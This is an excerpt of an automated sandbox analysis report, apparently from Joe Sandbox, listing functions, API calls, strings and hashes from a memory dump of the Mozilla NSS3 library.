Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CEDDC29,?), ref: 6CE5BE78

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CEDDC29,?), ref: 6CE5BE96

Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CEDDC29,?), ref: 6CE5BEBB

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CEDDC29,?), ref: 6CE5BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CEDDC29,?), ref: 6CE5BEF3

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 3ce92e95cd65093a15646b5e7fdec58ae3e53d1544939b8e8f48c0915fc7609a
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: FC11A571F002095BEB008B659D46FBA37B8EB4125CF78002CED08EB780EB32D919C7A1

Function 6CEE3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CEE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEE5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE3D3F

Part of subcall function 6CE5BA90: PORT_NewArena_Util.NSS3(00000800,6CEE3CAF,?), ref: 6CE5BABF
Part of subcall function 6CE5BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CEE3CAF,?), ref: 6CE5BAD5
Part of subcall function 6CE5BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CEE3CAF,?), ref: 6CE5BB08
Part of subcall function 6CE5BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CEE3CAF,?), ref: 6CE5BB1A
Part of subcall function 6CE5BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CEE3CAF,?), ref: 6CE5BB3B

PR_EnterMonitor.NSS3(?), ref: 6CEE3CCB

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

PR_EnterMonitor.NSS3(?), ref: 6CEE3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEE3CF8
PR_ExitMonitor.NSS3(?), ref: 6CEE3D15
PR_ExitMonitor.NSS3(?), ref: 6CEE3D2E

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 9fa31dc946a5bf17c10a561775f86bc32ca3edec02b5c9513d3d6376fcd21a05
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 4A11C4B9A116006FE7209A65EC41BDBB3F5EB1538CF604538E41A97B30E632E919C693

Function 6CEAFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CEAFE08

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CEAFE1D

Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CEAFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CEAFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CEAFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CEAFE6F

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: db78aa651362d5a35b4d36b8817606b8d99a0e933403605ad055fcee9cb18347
Instruction ID: 93a033ffae5bf0b8fcff5a9b361ca0786c70f71c9bbfa09fe4e539b58e745051
Opcode Fuzzy Hash: db78aa651362d5a35b4d36b8817606b8d99a0e933403605ad055fcee9cb18347
Instruction Fuzzy Hash: 2111ACB6A002456FEB004B95DC40B5B73B4AF552ADF34C038E9199BB12E735D515C791

Function 6CF5FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CF5FD9E

Part of subcall function 6CF19BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE41A48), ref: 6CF19BB3
Part of subcall function 6CF19BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE41A48), ref: 6CF19BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CF5FDB9

Part of subcall function 6CE3A900: TlsGetValue.KERNEL32(00000000,?,6CFB14E4,?,6CDD4DD9), ref: 6CE3A90F
Part of subcall function 6CE3A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE3A94F

PR_Unlock.NSS3 ref: 6CF5FDD4
PR_Lock.NSS3 ref: 6CF5FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CF5FE0D
PR_Unlock.NSS3 ref: 6CF5FE23

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: d608bf689dcdfb23a680576bb3f37fb13289a417d4c06ed3184539aa52cb2040
Instruction ID: dd9f503f99fbb1488c3cbc3bda0a305a5eb170eecdff4c6d39685ceac11835d5
Opcode Fuzzy Hash: d608bf689dcdfb23a680576bb3f37fb13289a417d4c06ed3184539aa52cb2040
Instruction Fuzzy Hash: 550161BAE14601ABDF448F15FC40856BA31FB132687554378E92647BE2E722EE29C7C1

Function 6CE3AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE3AFDA

Strings

%s at line %d of [%.10s], xrefs: 6CE3AFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6CE3AF5C
misuse, xrefs: 6CE3AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE3AFC4

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: ab3b55c62c19f1e6290ea7c25e9339aee830cc69b855d15afbb6c0945f3fb5fc
Instruction ID: c8eb60a5a4615ecb34089027ffd5313ca7a697c1579046b723e9095b9d63eaed
Opcode Fuzzy Hash: ab3b55c62c19f1e6290ea7c25e9339aee830cc69b855d15afbb6c0945f3fb5fc
Instruction Fuzzy Hash: BB910575A442258FDF04CF5AC850BAAB7F1BF45318F2950A8E869AB791C335FD41CB60

Function 6CE9FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CE9FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE9FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CE9FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CE9FDDE

Part of subcall function 6CEA8800: TlsGetValue.KERNEL32(?,6CEB085A,00000000,?,6CE58369,?), ref: 6CEA8821
Part of subcall function 6CEA8800: TlsGetValue.KERNEL32(?,?,6CEB085A,00000000,?,6CE58369,?), ref: 6CEA883D
Part of subcall function 6CEA8800: EnterCriticalSection.KERNEL32(?,?,?,6CEB085A,00000000,?,6CE58369,?), ref: 6CEA8856
Part of subcall function 6CEA8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CEA8887
Part of subcall function 6CEA8800: PR_Unlock.NSS3(?,?,?,?,6CEB085A,00000000,?,6CE58369,?), ref: 6CEA8899

Strings

pkcs11:, xrefs: 6CE9FC4F

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 07c61b3f72475bff932b7bea5a2d0c840ec96e5845925c8f21c6abd960766daf
Instruction ID: 8e0113bf5e411b7275bb39bdcc6026b1afaba62e6588f750b8257a4fb44eb13d
Opcode Fuzzy Hash: 07c61b3f72475bff932b7bea5a2d0c840ec96e5845925c8f21c6abd960766daf
Instruction Fuzzy Hash: 1E51F5B1A002119FEB108F65DC80B9A7375AF4235CF350129FD146BF62EB39E906CB92

Function 6CDDBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CDDBE02

Part of subcall function 6CF09C40: memcmp.VCRUNTIME140(?,00000000,6CDDC52B), ref: 6CF09D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDDBE9F

Strings

%s at line %d of [%.10s], xrefs: 6CDDBE98
database corruption, xrefs: 6CDDBE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDDBE89

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 433bd346e69c92d4abe1e802bb0326869afc08ad3101de0b17de5eeba530a4a4
Instruction ID: 97cad4da66e332c4938e20b706147eb7816ce9f7e9ed9dca64d52f58bb66b882
Opcode Fuzzy Hash: 433bd346e69c92d4abe1e802bb0326869afc08ad3101de0b17de5eeba530a4a4
Instruction Fuzzy Hash: DA310431E04656EBC700CF698894EABBBA2AF45318B1A8954EE941BAE1D371FD04C7D0

Function 6CEFA8F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CEE2AE9,00000000,0000065C), ref: 6CEFA91D

Part of subcall function 6CE9ADC0: TlsGetValue.KERNEL32(?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE10
Part of subcall function 6CE9ADC0: EnterCriticalSection.KERNEL32(?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE24
Part of subcall function 6CE9ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CE7D079,00000000,00000001), ref: 6CE9AE5A
Part of subcall function 6CE9ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE6F
Part of subcall function 6CE9ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE7F
Part of subcall function 6CE9ADC0: TlsGetValue.KERNEL32(?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEB1
Part of subcall function 6CE9ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CEE2AE9,00000000,0000065C), ref: 6CEFA934
SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000000,?,?,6CEE2AE9,00000000,0000065C), ref: 6CEFA949
free.MOZGLUE(?,00000000,0000065C), ref: 6CEFA952

Strings

*l, xrefs: 6CEFA8F6

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: *l
API String ID: 1595327144-2445014310
Opcode ID: e45b742ba80f210252d24da16e70a8cfde30f8c415bfcafebb10565e80c9e6fb
Instruction ID: 1086f3bea362336bed98fd36f463fe347cbe4c4f9255b0fda0bebf36878f91a3
Opcode Fuzzy Hash: e45b742ba80f210252d24da16e70a8cfde30f8c415bfcafebb10565e80c9e6fb
Instruction Fuzzy Hash: 253139B46012019FD704CF28E980E62B7F8FF48358B2581A9E8198F756E730E801CBA1

Function 6CE51EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CE54C64,?,-00000004), ref: 6CE51EE2

Part of subcall function 6CEB1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CE51D97,?,?), ref: 6CEB1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE54C64,?,-00000004), ref: 6CE51F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE54C64,?,-00000004), ref: 6CE51F37
DER_DecodeTimeChoice_Util.NSS3(?,dLl,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE54C64,?,-00000004), ref: 6CE51F53

Strings

dLl, xrefs: 6CE51F2B, 6CE51F51

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLl
API String ID: 3216063065-3939847266
Opcode ID: 09430bb25b9f222c94e9e58b6cc557dedcc633da1c92bafba5e7acc2a7ed8968
Instruction ID: 8ae4d2628eaad92288f71ea73e11ce23c71ad31fff9f12bfa0589eeda4e62a7b
Opcode Fuzzy Hash: 09430bb25b9f222c94e9e58b6cc557dedcc633da1c92bafba5e7acc2a7ed8968
Instruction Fuzzy Hash: 01218371514205AFC700CEA5DD01A9BB7F9AF85699F50092DE854D3B40F732E529C7E2

Function 6CE40DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CE40BDE), ref: 6CE40DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CE40BDE), ref: 6CE40DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CE40BDE), ref: 6CE40DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CE40BDE), ref: 6CE40E32

Strings

%s incr => %d (find lib), xrefs: 6CE40E2D

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: ce6a41f767901938aa6ca175b4ae428ae1b9c120257cb4182904242dbbdfb3e0
Instruction ID: 956b558798bdca00cffcb6cb48cfb604d1ce8d118605bc6cb6fd61c0ff1df3c5
Opcode Fuzzy Hash: ce6a41f767901938aa6ca175b4ae428ae1b9c120257cb4182904242dbbdfb3e0
Instruction Fuzzy Hash: A401F572A006209FEA109A25AC85E1773B8DB46609B15843DD905D7B41E762FC1587E1

Function 6CEFAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]l,00000000,?,?,6CED6AC6,?), ref: 6CEFAC2D

Part of subcall function 6CE9ADC0: TlsGetValue.KERNEL32(?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE10
Part of subcall function 6CE9ADC0: EnterCriticalSection.KERNEL32(?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE24
Part of subcall function 6CE9ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CE7D079,00000000,00000001), ref: 6CE9AE5A
Part of subcall function 6CE9ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE6F
Part of subcall function 6CE9ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE7F
Part of subcall function 6CE9ADC0: TlsGetValue.KERNEL32(?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEB1
Part of subcall function 6CE9ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEC9

PK11_FreeSymKey.NSS3(?,@]l,00000000,?,?,6CED6AC6,?), ref: 6CEFAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]l,00000000,?,?,6CED6AC6,?), ref: 6CEFAC59
free.MOZGLUE(8CB6FF01,6CED6AC6,?,?,?,?,?,?,?,?,?,?,6CEE5D40,00000000,?,6CEEAAD4), ref: 6CEFAC62

Strings

@]l, xrefs: 6CEFAC05

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]l
API String ID: 1595327144-728282480
Opcode ID: 9cd25c54418c8b3e642d793ce2d2d3818288a0e37df0c0b72bc476598e16f49c
Instruction ID: e47d3eb818126b5e7e6bbb462107fc410c450211ec89155f4eb76e477bc473b0
Opcode Fuzzy Hash: 9cd25c54418c8b3e642d793ce2d2d3818288a0e37df0c0b72bc476598e16f49c
Instruction Fuzzy Hash: 0A016DB5A402009FDB00DF55E8D0B56B7B8EF44B5CF288068E9598F706D735E849CBA1

Function 6CDE9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDE9CF2
